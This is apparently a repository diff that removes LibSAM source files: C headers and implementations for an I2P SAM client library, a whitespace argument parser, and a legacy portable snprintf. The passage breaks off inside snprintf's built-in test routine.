* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef LIBSAM_SAM_H
#define LIBSAM_SAM_H
#ifdef __cplusplus
extern "C" {
#endif
#ifdef NO_STDBOOL_H
typedef int bool;
#define true 0
#define false 1
#else
#include <stdbool.h>
#endif
#include <stddef.h> // size_t
/*
* Lengths
*/
/* The maximum length a SAM command can be */
#define SAM_CMD_LEN 128
/* The maximum size of a single datagram packet */
#define SAM_DGRAM_PAYLOAD_MAX (31 * 1024)
/* The longest log message */
#define SAM_LOGMSG_LEN 256
/* The longest `name' arg for the naming lookup callback */
#define SAM_NAME_LEN 256
/* The maximum size of a single stream packet */
#define SAM_STREAM_PAYLOAD_MAX (32 * 1024)
/* The length of a base 64 public key - it's actually 516, but +1 for '\0' */
#define SAM_PUBKEY_LEN 517
/* The maximum length of a SAM command with a public key */
#define SAM_PKCMD_LEN (SAM_PUBKEY_LEN + SAM_CMD_LEN)
/* The maximum size of a single raw packet */
#define SAM_RAW_PAYLOAD_MAX (32 * 1024)
/* The maximum length a SAM non-data reply can be */
#define SAM_REPLY_LEN 1024
/*
* Some LibSAM variable types
*/
typedef enum {SAM_STREAM, SAM_DGRAM, SAM_RAW} sam_conn_t; /* SAM connection */
typedef char sam_pubkey_t[SAM_PUBKEY_LEN]; /* base 64 public key */
typedef struct {
void *data;
size_t size;
} sam_sendq_t; /* sending queue to encourage large stream packet sizes */
typedef long sam_sid_t; /* stream id number */
typedef struct {
int sock; /* the socket used for communications with SAM */
bool connected; /* whether the socket is connected */
sam_sid_t prev_id; /* the last stream id number we used */
void *child; /* whatever you want it to be */
} sam_sess_t; /* a SAM session */
typedef enum { /* see sam_strerror() for detailed descriptions of these */
/* no error code - not used by me (you can use it in your program) */
SAM_NULL = 0,
/* error codes from SAM itself (SAM_OK is not an actual "error") */
SAM_OK, SAM_CANT_REACH_PEER, SAM_DUPLICATED_DEST, SAM_I2P_ERROR,
SAM_INVALID_KEY, SAM_KEY_NOT_FOUND, SAM_PEER_NOT_FOUND, SAM_TIMEOUT,
SAM_UNKNOWN,
/* error codes from LibSAM */
SAM_BAD_STYLE, SAM_BAD_VERSION, SAM_CALLBACKS_UNSET, SAM_SOCKET_ERROR,
SAM_TOO_BIG
} samerr_t;
/*
* Public functions
*/
/* SAM controls - sessions */
sam_sess_t *sam_session_init(sam_sess_t *session);
void sam_session_free(sam_sess_t **session);
/* SAM controls - connection */
bool sam_close(sam_sess_t *session);
samerr_t sam_connect(sam_sess_t *session, const char *samhost,
unsigned short samport, const char *destname, sam_conn_t style,
unsigned int tunneldepth);
/* SAM controls - utilities */
void sam_naming_lookup(sam_sess_t *session, const char *name);
bool sam_read_buffer(sam_sess_t *session);
const char *sam_strerror(samerr_t code);
/* SAM controls - callbacks */
void (*sam_diedback)(sam_sess_t *session);
void (*sam_logback)(const char *str);
void (*sam_namingback)(sam_sess_t *session, const char *name,
sam_pubkey_t pubkey, samerr_t result, const char* message);
/* Stream commands */
void sam_stream_close(sam_sess_t *session, sam_sid_t stream_id);
sam_sid_t sam_stream_connect(sam_sess_t *session, const sam_pubkey_t dest);
samerr_t sam_stream_send(sam_sess_t *session, sam_sid_t stream_id,
const void *data, size_t size);
/* Stream commands - callbacks */
void (*sam_closeback)(sam_sess_t *session, sam_sid_t stream_id,
samerr_t reason, const char* message);
void (*sam_connectback)(sam_sess_t *session, sam_sid_t stream_id,
sam_pubkey_t dest);
void (*sam_databack)(sam_sess_t *session, sam_sid_t stream_id,
void *data, size_t size);
void (*sam_statusback)(sam_sess_t *session, sam_sid_t stream_id,
samerr_t result, const char* message);
/* Stream send queue (experimental) */
void sam_sendq_add(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq, const void *data, size_t dsize);
void sam_sendq_flush(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq);
/* Datagram commands */
samerr_t sam_dgram_send(sam_sess_t *session, const sam_pubkey_t dest,
const void *data, size_t size);
/* Datagram commands - callbacks */
void (*sam_dgramback)(sam_sess_t *session, sam_pubkey_t dest, void *data,
size_t size);
/* Raw commands */
samerr_t sam_raw_send(sam_sess_t *session, const sam_pubkey_t dest,
const void *data, size_t size);
/* Raw commands - callbacks */
void (*sam_rawback)(sam_sess_t *session, void *data, size_t size);
#ifdef __cplusplus
}
#endif
#endif /* LIBSAM_SAM_H */

View File

@ -1,49 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Note: The snprintf.c file retains its original license (at the top of
* snprintf.c)
*/
#ifndef LIBSAM_SNPRINTF_H
#define LIBSAM_SNPRINTF_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdarg.h> /* for va_list */
int snprintf (char *str, size_t count, const char *fmt, ...);
int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);
#ifdef __cplusplus
}
#endif
#endif /* LIBSAM_SNPRINTF_H */

View File

@ -1,47 +0,0 @@
/*
* Copyright (c) 2004, Matthew P. Cashdollar <mpc@innographx.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the author nor the names of any contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Note: The strl.c file retains its original license (at the top of strl.c)
*/
#ifndef LIBSAM_STRL_H
#define LIBSAM_STRL_H
#ifdef __cplusplus
extern "C" {
#endif
extern size_t strlcat(char *dst, const char *src, size_t siz);
extern size_t strlcpy(char *dst, const char *src, size_t siz);
#ifdef __cplusplus
}
#endif
#endif /* LIBSAM_STRL_H */

View File

@ -1,48 +0,0 @@
#ifndef TINYSTRING_HEADER
#define TINYSTRING_HEADER
#include <sys/types.h>
#ifndef bool
#define bool short int
#endif
struct string_s;
#define string_t struct string_s*
//Mysteeeerious *waggles mysteriously*
/*{
char* data;
long int size;
} *string_t;
*/
string_t string_create(const char*);
string_t string_ncreate(const char* cstr,long int length);
string_t string_wrap(const char*);
//Does not malloc, do NOT pass to string_free
string_t string_fmt(const char* fmt, ...);
string_t string_cat(string_t,string_t);
/* Source Dest */
void string_copy(string_t,string_t);
void string_copy_raw(string_t,void*,size_t);
const char* string_data(string_t);
long int string_size(string_t);
void string_free(string_t);
bool string_equal(string_t,string_t);
bool string_equali(string_t,string_t);
int string_cmp(string_t,string_t);
int string_cmpi(string_t,string_t);
#define _sw(a) string_wrap(a)
#define _scr(a,b,c) string_copy_raw(a,b,c)
#define string_is(a,b) (! strncmp(string_data(a),(b),string_size(a)))
#endif /* TINYSTRING_HEADER */

View File

View File

View File

@ -1,78 +0,0 @@
#include "parse.h"
#include <assert.h>
#include <ctype.h>
#include <malloc.h>
#define _GNU_SOURCE
#include <string.h>
args_t arg_parse(const char* line_raw) {
args_t self;
int numargs = 0;
const char *end, *last;
/* First pass to count how many args... */
end = line_raw;
while(*end && isspace(*end)) ++end;
//Skip initial space...
for(;;) {
while(*end && !isspace(*end)) ++end;
//Go to end of argument
++numargs;
while(*end && isspace(*end)) ++end;
//Go to end of space after argument
if(!*end) break;
}
self.num = numargs; // One more # args than spaces.
self.arg = malloc(sizeof(arg_t)*numargs);
/* Second pass to assign args. (Lemee alone, is more efficient than a linked list!) */
last = line_raw;
numargs = 0; //Now numargs is which current arg.
end = line_raw;
while(*end && isspace(*end)) ++end;
//Skip initial space...
for(;;) {
arg_t* nextarg = self.arg + numargs;;
const char* isbinary;
while(*end && !isspace(*end)) ++end;
//Go to end of argument
isbinary = strchr(last,'='); //Is there a value?
//Make sure not to pass end in our search for =
if(isbinary && (isbinary < end)) {
nextarg->name = string_ncreate(last,isbinary-last);
nextarg->value = string_ncreate(isbinary+1,end-isbinary-1);
} else {
nextarg->name = string_ncreate(last,end-last);
nextarg->value = string_create(NULL);
}
++numargs;
while(*end && isspace(*end)) ++end;
//Go to end of space after argument
if(!*end) break;
last = end;
}
return self;
}
void arg_done(args_t self) {
free(self.arg);
self.arg = NULL;
self.num = 0;
}
arg_t* arg_get(args_t self, int index) {
if(index >= self.num) return NULL;
return self.arg + index;
}
arg_t* arg_find(args_t self,string_t testname) {
int index;
for(index=0;index<self.num;++index) {
if(string_equali(self.arg[index].name,testname)) {
return self.arg + index;
}
}
return NULL;
}

File diff suppressed because it is too large Load Diff

View File

@ -1,851 +0,0 @@
/*
* Copyright Patrick Powell 1995
* This code is based on code written by Patrick Powell (papowell@astart.com)
* It may be used for any purpose as long as this notice remains intact
* on all source code distributions
*/
/**************************************************************
* Original:
* Patrick Powell Tue Apr 11 09:48:21 PDT 1995
* A bombproof version of doprnt (dopr) included.
* Sigh. This sort of thing is always nasty do deal with. Note that
* the version here does not include floating point...
*
* snprintf() is used instead of sprintf() as it does limit checks
* for string length. This covers a nasty loophole.
*
* The other functions are there to prevent NULL pointers from
* causing nast effects.
*
* More Recently:
* Brandon Long <blong@fiction.net> 9/15/96 for mutt 0.43
* This was ugly. It is still ugly. I opted out of floating point
* numbers, but the formatter understands just about everything
* from the normal C string format, at least as far as I can tell from
* the Solaris 2.5 printf(3S) man page.
*
* Brandon Long <blong@fiction.net> 10/22/97 for mutt 0.87.1
* Ok, added some minimal floating point support, which means this
* probably requires libm on most operating systems. Don't yet
* support the exponent (e,E) and sigfig (g,G). Also, fmtint()
* was pretty badly broken, it just wasn't being exercised in ways
* which showed it, so that's been fixed. Also, formated the code
* to mutt conventions, and removed dead code left over from the
* original. Also, there is now a builtin-test, just compile with:
* gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm
* and run snprintf for results.
*
* Thomas Roessler <roessler@guug.de> 01/27/98 for mutt 0.89i
* The PGP code was using unsigned hexadecimal formats.
* Unfortunately, unsigned formats simply didn't work.
*
* Michael Elkins <me@cs.hmc.edu> 03/05/98 for mutt 0.90.8
* The original code assumed that both snprintf() and vsnprintf() were
* missing. Some systems only have snprintf() but not vsnprintf(), so
* the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF.
*
* Andrew Tridgell (tridge@samba.org) Oct 1998
* fixed handling of %.0f
* added test for HAVE_LONG_DOUBLE
*
* Russ Allbery <rra@stanford.edu> 2000-08-26
* fixed return value to comply with C99
* fixed handling of snprintf(NULL, ...)
*
* Hrvoje Niksic <hniksic@arsdigita.com> 2000-11-04
* include <stdio.h> for NULL.
* added support for long long.
* don't declare argument types to (v)snprintf if stdarg is not used.
*
**************************************************************/
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#ifndef NULL
# define NULL 0
#endif
/* varargs declarations: */
#include <stdarg.h>
#define HAVE_STDARGS /* let's hope that works everywhere (mj) */
#define VA_LOCAL_DECL va_list ap
#define VA_START(f) va_start(ap, f)
#define VA_SHIFT(v,t) ; /* no-op for ANSI */
#define VA_END va_end(ap)
#ifdef HAVE_LONG_DOUBLE
#define LDOUBLE long double
#else
#define LDOUBLE double
#endif
#ifdef HAVE_LONG_LONG
# define LLONG long long
#else
# define LLONG long
#endif
int snprintf (char *str, size_t count, const char *fmt, ...);
int vsnprintf (char *str, size_t count, const char *fmt, va_list arg);
static int dopr (char *buffer, size_t maxlen, const char *format,
va_list args);
static int fmtstr (char *buffer, size_t *currlen, size_t maxlen,
char *value, int flags, int min, int max);
static int fmtint (char *buffer, size_t *currlen, size_t maxlen,
LLONG value, int base, int min, int max, int flags);
static int fmtfp (char *buffer, size_t *currlen, size_t maxlen,
LDOUBLE fvalue, int min, int max, int flags);
static int dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c );
/*
* dopr(): poor man's version of doprintf
*/
/* format read states */
#define DP_S_DEFAULT 0
#define DP_S_FLAGS 1
#define DP_S_MIN 2
#define DP_S_DOT 3
#define DP_S_MAX 4
#define DP_S_MOD 5
#define DP_S_MOD_L 6
#define DP_S_CONV 7
#define DP_S_DONE 8
/* format flags - Bits */
#define DP_F_MINUS (1 << 0)
#define DP_F_PLUS (1 << 1)
#define DP_F_SPACE (1 << 2)
#define DP_F_NUM (1 << 3)
#define DP_F_ZERO (1 << 4)
#define DP_F_UP (1 << 5)
#define DP_F_UNSIGNED (1 << 6)
/* Conversion Flags */
#define DP_C_SHORT 1
#define DP_C_LONG 2
#define DP_C_LLONG 3
#define DP_C_LDOUBLE 4
#define char_to_int(p) (p - '0')
#define MAX(p,q) ((p >= q) ? p : q)
#define MIN(p,q) ((p <= q) ? p : q)
static int dopr (char *buffer, size_t maxlen, const char *format, va_list args)
{
char ch;
LLONG value;
LDOUBLE fvalue;
char *strvalue;
int min;
int max;
int state;
int flags;
int cflags;
int total;
size_t currlen;
state = DP_S_DEFAULT;
currlen = flags = cflags = min = 0;
max = -1;
ch = *format++;
total = 0;
while (state != DP_S_DONE)
{
if (ch == '\0')
state = DP_S_DONE;
switch(state)
{
case DP_S_DEFAULT:
if (ch == '%')
state = DP_S_FLAGS;
else
total += dopr_outch (buffer, &currlen, maxlen, ch);
ch = *format++;
break;
case DP_S_FLAGS:
switch (ch)
{
case '-':
flags |= DP_F_MINUS;
ch = *format++;
break;
case '+':
flags |= DP_F_PLUS;
ch = *format++;
break;
case ' ':
flags |= DP_F_SPACE;
ch = *format++;
break;
case '#':
flags |= DP_F_NUM;
ch = *format++;
break;
case '0':
flags |= DP_F_ZERO;
ch = *format++;
break;
default:
state = DP_S_MIN;
break;
}
break;
case DP_S_MIN:
if (isdigit((unsigned char)ch))
{
min = 10*min + char_to_int (ch);
ch = *format++;
}
else if (ch == '*')
{
min = va_arg (args, int);
ch = *format++;
state = DP_S_DOT;
}
else
state = DP_S_DOT;
break;
case DP_S_DOT:
if (ch == '.')
{
state = DP_S_MAX;
ch = *format++;
}
else
state = DP_S_MOD;
break;
case DP_S_MAX:
if (isdigit((unsigned char)ch))
{
if (max < 0)
max = 0;
max = 10*max + char_to_int (ch);
ch = *format++;
}
else if (ch == '*')
{
max = va_arg (args, int);
ch = *format++;
state = DP_S_MOD;
}
else
state = DP_S_MOD;
break;
case DP_S_MOD:
switch (ch)
{
case 'h':
cflags = DP_C_SHORT;
ch = *format++;
break;
case 'l':
cflags = DP_C_LONG;
ch = *format++;
break;
case 'L':
cflags = DP_C_LDOUBLE;
ch = *format++;
break;
default:
break;
}
if (cflags != DP_C_LONG)
state = DP_S_CONV;
else
state = DP_S_MOD_L;
break;
case DP_S_MOD_L:
switch (ch)
{
case 'l':
cflags = DP_C_LLONG;
ch = *format++;
break;
default:
break;
}
state = DP_S_CONV;
break;
case DP_S_CONV:
switch (ch)
{
case 'd':
case 'i':
if (cflags == DP_C_SHORT)
value = (short int) va_arg (args, int);
else if (cflags == DP_C_LONG)
value = va_arg (args, long int);
else if (cflags == DP_C_LLONG)
value = va_arg (args, LLONG);
else
value = va_arg (args, int);
total += fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags);
break;
case 'o':
flags |= DP_F_UNSIGNED;
if (cflags == DP_C_SHORT)
value = (unsigned short int) va_arg (args, unsigned int);
else if (cflags == DP_C_LONG)
value = va_arg (args, unsigned long int);
else if (cflags == DP_C_LLONG)
value = va_arg (args, unsigned LLONG);
else
value = va_arg (args, unsigned int);
total += fmtint (buffer, &currlen, maxlen, value, 8, min, max, flags);
break;
case 'u':
flags |= DP_F_UNSIGNED;
if (cflags == DP_C_SHORT)
value = (unsigned short int) va_arg (args, unsigned int);
else if (cflags == DP_C_LONG)
value = va_arg (args, unsigned long int);
else if (cflags == DP_C_LLONG)
value = va_arg (args, unsigned LLONG);
else
value = va_arg (args, unsigned int);
total += fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags);
break;
case 'X':
flags |= DP_F_UP;
case 'x':
flags |= DP_F_UNSIGNED;
if (cflags == DP_C_SHORT)
value = (unsigned short int) va_arg (args, unsigned int);
else if (cflags == DP_C_LONG)
value = va_arg (args, unsigned long int);
else if (cflags == DP_C_LLONG)
value = va_arg (args, unsigned LLONG);
else
value = va_arg (args, unsigned int);
total += fmtint (buffer, &currlen, maxlen, value, 16, min, max, flags);
break;
case 'f':
if (cflags == DP_C_LDOUBLE)
fvalue = va_arg (args, LDOUBLE);
else
fvalue = va_arg (args, double);
/* um, floating point? */
total += fmtfp (buffer, &currlen, maxlen, fvalue, min, max, flags);
break;
case 'E':
flags |= DP_F_UP;
case 'e':
if (cflags == DP_C_LDOUBLE)
fvalue = va_arg (args, LDOUBLE);
else
fvalue = va_arg (args, double);
break;
case 'G':
flags |= DP_F_UP;
case 'g':
if (cflags == DP_C_LDOUBLE)
fvalue = va_arg (args, LDOUBLE);
else
fvalue = va_arg (args, double);
break;
case 'c':
total += dopr_outch (buffer, &currlen, maxlen, va_arg (args, int));
break;
case 's':
strvalue = va_arg (args, char *);
total += fmtstr (buffer, &currlen, maxlen, strvalue, flags, min, max);
break;
case 'p':
strvalue = va_arg (args, void *);
total += fmtint (buffer, &currlen, maxlen, (long) strvalue, 16, min,
max, flags);
break;
case 'n':
if (cflags == DP_C_SHORT)
{
short int *num;
num = va_arg (args, short int *);
*num = currlen;
}
else if (cflags == DP_C_LONG)
{
long int *num;
num = va_arg (args, long int *);
*num = currlen;
}
else if (cflags == DP_C_LLONG)
{
LLONG *num;
num = va_arg (args, LLONG *);
*num = currlen;
}
else
{
int *num;
num = va_arg (args, int *);
*num = currlen;
}
break;
case '%':
total += dopr_outch (buffer, &currlen, maxlen, ch);
break;
case 'w':
/* not supported yet, treat as next char */
ch = *format++;
break;
default:
/* Unknown, skip */
break;
}
ch = *format++;
state = DP_S_DEFAULT;
flags = cflags = min = 0;
max = -1;
break;
case DP_S_DONE:
break;
default:
/* hmm? */
break; /* some picky compilers need this */
}
}
if (buffer != NULL)
{
if (currlen < maxlen - 1)
buffer[currlen] = '\0';
else
buffer[maxlen - 1] = '\0';
}
return total;
}
static int fmtstr (char *buffer, size_t *currlen, size_t maxlen,
char *value, int flags, int min, int max)
{
int padlen, strln; /* amount to pad */
int cnt = 0;
int total = 0;
char null[] = "<NULL>";
if (value == 0)
{
value = null;
}
for (strln = 0; value[strln]; ++strln); /* strlen */
if (max >= 0 && max < strln)
strln = max;
padlen = min - strln;
if (padlen < 0)
padlen = 0;
if (flags & DP_F_MINUS)
padlen = -padlen; /* Left Justify */
while (padlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, ' ');
--padlen;
}
while (*value && ((max < 0) || (cnt < max)))
{
total += dopr_outch (buffer, currlen, maxlen, *value++);
++cnt;
}
while (padlen < 0)
{
total += dopr_outch (buffer, currlen, maxlen, ' ');
++padlen;
}
return total;
}
/* Have to handle DP_F_NUM (ie 0x and 0 alternates) */
static int fmtint (char *buffer, size_t *currlen, size_t maxlen,
LLONG value, int base, int min, int max, int flags)
{
int signvalue = 0;
unsigned LLONG uvalue;
char convert[24];
unsigned int place = 0;
int spadlen = 0; /* amount to space pad */
int zpadlen = 0; /* amount to zero pad */
const char *digits;
int total = 0;
if (max < 0)
max = 0;
uvalue = value;
if(!(flags & DP_F_UNSIGNED))
{
if( value < 0 ) {
signvalue = '-';
uvalue = -value;
}
else
if (flags & DP_F_PLUS) /* Do a sign (+/i) */
signvalue = '+';
else
if (flags & DP_F_SPACE)
signvalue = ' ';
}
if (flags & DP_F_UP)
/* Should characters be upper case? */
digits = "0123456789ABCDEF";
else
digits = "0123456789abcdef";
do {
convert[place++] = digits[uvalue % (unsigned)base];
uvalue = (uvalue / (unsigned)base );
} while(uvalue && (place < sizeof (convert)));
if (place == sizeof (convert)) place--;
convert[place] = 0;
zpadlen = max - place;
spadlen = min - MAX ((unsigned int)max, place) - (signvalue ? 1 : 0);
if (zpadlen < 0) zpadlen = 0;
if (spadlen < 0) spadlen = 0;
if (flags & DP_F_ZERO)
{
zpadlen = MAX(zpadlen, spadlen);
spadlen = 0;
}
if (flags & DP_F_MINUS)
spadlen = -spadlen; /* Left Justifty */
#ifdef DEBUG_SNPRINTF
dprint (1, (debugfile, "zpad: %d, spad: %d, min: %d, max: %d, place: %d\n",
zpadlen, spadlen, min, max, place));
#endif
/* Spaces */
while (spadlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, ' ');
--spadlen;
}
/* Sign */
if (signvalue)
total += dopr_outch (buffer, currlen, maxlen, signvalue);
/* Zeros */
if (zpadlen > 0)
{
while (zpadlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, '0');
--zpadlen;
}
}
/* Digits */
while (place > 0)
total += dopr_outch (buffer, currlen, maxlen, convert[--place]);
/* Left Justified spaces */
while (spadlen < 0) {
total += dopr_outch (buffer, currlen, maxlen, ' ');
++spadlen;
}
return total;
}
static LDOUBLE abs_val (LDOUBLE value)
{
LDOUBLE result = value;
if (value < 0)
result = -value;
return result;
}
static LDOUBLE pow10 (int exp)
{
LDOUBLE result = 1;
while (exp)
{
result *= 10;
exp--;
}
return result;
}
static long round (LDOUBLE value)
{
long intpart;
intpart = value;
value = value - intpart;
if (value >= 0.5)
intpart++;
return intpart;
}
static int fmtfp (char *buffer, size_t *currlen, size_t maxlen,
LDOUBLE fvalue, int min, int max, int flags)
{
int signvalue = 0;
LDOUBLE ufvalue;
char iconvert[20];
char fconvert[20];
int iplace = 0;
int fplace = 0;
int padlen = 0; /* amount to pad */
int zpadlen = 0;
int caps = 0;
int total = 0;
LLONG intpart;
LLONG fracpart;
/*
* AIX manpage says the default is 0, but Solaris says the default
* is 6, and sprintf on AIX defaults to 6
*/
if (max < 0)
max = 6;
ufvalue = abs_val (fvalue);
if (fvalue < 0)
signvalue = '-';
else
if (flags & DP_F_PLUS) /* Do a sign (+/i) */
signvalue = '+';
else
if (flags & DP_F_SPACE)
signvalue = ' ';
#if 0
if (flags & DP_F_UP) caps = 1; /* Should characters be upper case? */
#endif
intpart = ufvalue;
/*
* Sorry, we only support 9 digits past the decimal because of our
* conversion method
*/
if (max > 9)
max = 9;
/* We "cheat" by converting the fractional part to integer by
* multiplying by a factor of 10
*/
fracpart = round ((pow10 (max)) * (ufvalue - intpart));
if (fracpart >= pow10 (max))
{
intpart++;
fracpart -= pow10 (max);
}
#ifdef DEBUG_SNPRINTF
dprint (1, (debugfile, "fmtfp: %f =? %d.%d\n", fvalue, intpart, fracpart));
#endif
/* Convert integer part */
do {
iconvert[iplace++] =
(caps? "0123456789ABCDEF":"0123456789abcdef")[intpart % 10];
intpart = (intpart / 10);
} while(intpart && (iplace < 20));
if (iplace == 20) iplace--;
iconvert[iplace] = 0;
/* Convert fractional part */
do {
fconvert[fplace++] =
(caps? "0123456789ABCDEF":"0123456789abcdef")[fracpart % 10];
fracpart = (fracpart / 10);
} while(fracpart && (fplace < 20));
if (fplace == 20) fplace--;
fconvert[fplace] = 0;
/* -1 for decimal point, another -1 if we are printing a sign */
padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0);
zpadlen = max - fplace;
if (zpadlen < 0)
zpadlen = 0;
if (padlen < 0)
padlen = 0;
if (flags & DP_F_MINUS)
padlen = -padlen; /* Left Justifty */
if ((flags & DP_F_ZERO) && (padlen > 0))
{
if (signvalue)
{
total += dopr_outch (buffer, currlen, maxlen, signvalue);
--padlen;
signvalue = 0;
}
while (padlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, '0');
--padlen;
}
}
while (padlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, ' ');
--padlen;
}
if (signvalue)
total += dopr_outch (buffer, currlen, maxlen, signvalue);
while (iplace > 0)
total += dopr_outch (buffer, currlen, maxlen, iconvert[--iplace]);
/*
* Decimal point. This should probably use locale to find the correct
* char to print out.
*/
if (max > 0)
{
total += dopr_outch (buffer, currlen, maxlen, '.');
while (fplace > 0)
total += dopr_outch (buffer, currlen, maxlen, fconvert[--fplace]);
}
while (zpadlen > 0)
{
total += dopr_outch (buffer, currlen, maxlen, '0');
--zpadlen;
}
while (padlen < 0)
{
total += dopr_outch (buffer, currlen, maxlen, ' ');
++padlen;
}
return total;
}
static int dopr_outch (char *buffer, size_t *currlen, size_t maxlen, char c)
{
if (*currlen + 1 < maxlen)
buffer[(*currlen)++] = c;
return 1;
}
int vsnprintf (char *str, size_t count, const char *fmt, va_list args)
{
if (str != NULL)
str[0] = 0;
return dopr(str, count, fmt, args);
}
/* VARARGS3 */
#ifdef HAVE_STDARGS
int snprintf (char *str,size_t count,const char *fmt,...)
#else
int snprintf (va_alist) va_dcl
#endif
{
#ifndef HAVE_STDARGS
char *str;
size_t count;
char *fmt;
#endif
VA_LOCAL_DECL;
int total;
VA_START (fmt);
VA_SHIFT (str, char *);
VA_SHIFT (count, size_t );
VA_SHIFT (fmt, char *);
total = vsnprintf(str, count, fmt, ap);
VA_END;
return total;
}
#ifdef TEST_SNPRINTF
#ifndef LONG_STRING
#define LONG_STRING 1024
#endif
int main (void)
{
char buf1[LONG_STRING];
char buf2[LONG_STRING];
char *fp_fmt[] = {
"%-1.5f",
"%1.5f",
"%123.9f",
"%10.5f",
"% 10.5f",
"%+22.9f",
"%+4.9f",
"%01.3f",
"%4f",
"%3.1f",
"%3.2f",
"%.0f",
"%.1f",
NULL
};
double fp_nums[] = { -1.5, 134.21, 91340.2, 341.1234, 0203.9, 0.96, 0.996,
0.9996, 1.996, 4.136, 0};
char *int_fmt[] = {
"%-1.5d",
"%1.5d",
"%123.9d",
"%5.5d",
"%10.5d",
"% 10.5d",
"%+22.33d",
"%01.3d",
"%4d",
NULL
};
long int_nums[] = { -1, 134, 91340, 341, 0203, 0};
int x, y;
int fail = 0;
int num = 0;
printf ("Testing snprintf format codes against system sprintf...\n");
for (x = 0; fp_fmt[x] != NULL ; x++)
for (y = 0; fp_nums[y] != 0 ; y++)
{
snprintf (buf1, sizeof (buf1), fp_fmt[x], fp_nums[y]);
sprintf (buf2, fp_fmt[x], fp_nums[y]);
if (strcmp (buf1, buf2))
{
printf("snprintf doesn't match Format: %s\n\tsnprintf = %s\n\tsprintf = %s\n",
fp_fmt[x], buf1, buf2);
fail++;
}
num++;
}
for (x = 0; int_fmt[x] != NULL ; x++)
for (y = 0; int_nums[y] != 0 ; y++)
{
